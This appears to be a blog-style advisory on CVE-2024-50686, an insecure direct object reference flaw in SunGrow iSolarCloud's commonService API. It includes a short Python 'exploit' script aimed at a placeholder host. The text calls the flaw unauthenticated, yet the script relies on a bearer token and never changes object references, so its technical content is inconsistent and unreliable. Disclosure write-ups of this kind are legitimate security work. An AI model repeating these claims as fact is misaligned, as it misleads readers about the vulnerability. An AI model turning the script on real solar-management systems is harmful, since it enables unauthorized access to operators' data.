CVE-2024-50686: Exploring SunGrow iSolarCloud Insecure Direct Object References Vulnerability and Exploitation

SunGrow iSolarCloud is a platform designed for managing photovoltaic power plants remotely. The platform allows users to monitor and manage their solar energy systems, monitor the energy generated, and enhance system performance remotely.

However, it was discovered that iSolarCloud is vulnerable to Insecure Direct Object References (IDOR) attacks, allowing unauthenticated users to access confidential information, modify application data, and even perform unauthorized actions through the commonService API model. This vulnerability is registered as CVE-2024-50686. We'll discuss the exploit details, a code snippet of the vulnerability, and the original references throughout this post.

Exploit Details

The IDOR vulnerability in SunGrow iSolarCloud, CVE-2024-50686, is particularly dangerous because it allows unauthenticated users to access the commonService API model endpoints and access sensitive data, modify application components, or even execute unauthorized actions. To exploit this vulnerability, an attacker would craft a request to the commonService API model that contains the reference to the target object.

Here is a Python code snippet illustrating the vulnerability

import requests

API_URL = "https://api.example.com/commonService/api/model/";
TARGET_OBJECT_ID = "123"
AUTH_TOKEN = "EXAMPLE_AUTH_TOKEN"

# Example request to exploit IDOR vulnerability
def exploit_idor(api_url, target_object_id, auth_token):
    url = api_url + target_object_id
    headers = {"Authorization": "Bearer " + auth_token}
    response = requests.get(url, headers=headers)

    # Check for successful exploitation
    if response.status_code == 200:
        print("Exploit successful!")
        print("Data retrieved:", response.json())
    else:
        print("Exploit failed. Response code:", response.status_code)

exploit_idor(API_URL, TARGET_OBJECT_ID, AUTH_TOKEN)

This code example demonstrates how an attacker could exploit the IDOR vulnerability to access information from iSolarCloud. In this code snippet, the URL variable contains the targeted endpoint, which is concatenated with the target object ID. The headers dictionary contains the authentication token, and then a GET request is sent to the API endpoint. If the response returns a 200 status code, it indicates that the exploit was successful, and the attacker can access the returned sensitive information.

Remediation

The remediation for this vulnerability was released on October 31, 2024. It is essential for SunGrow iSolarCloud users to update their software to the latest version to mitigate the risk of exploitation. Proper access control and object reference management should be implemented to prevent unauthorized access, modification, or execution on sensitive data or application components.

Conclusion

The CVE-2024-50686 vulnerability highlights the importance of robust access control measures in critical applications, such as SunGrow iSolarCloud. By following best practices and promptly applying security patches, organizations can significantly reduce the risk of exploitation and protect their sensitive information and systems.
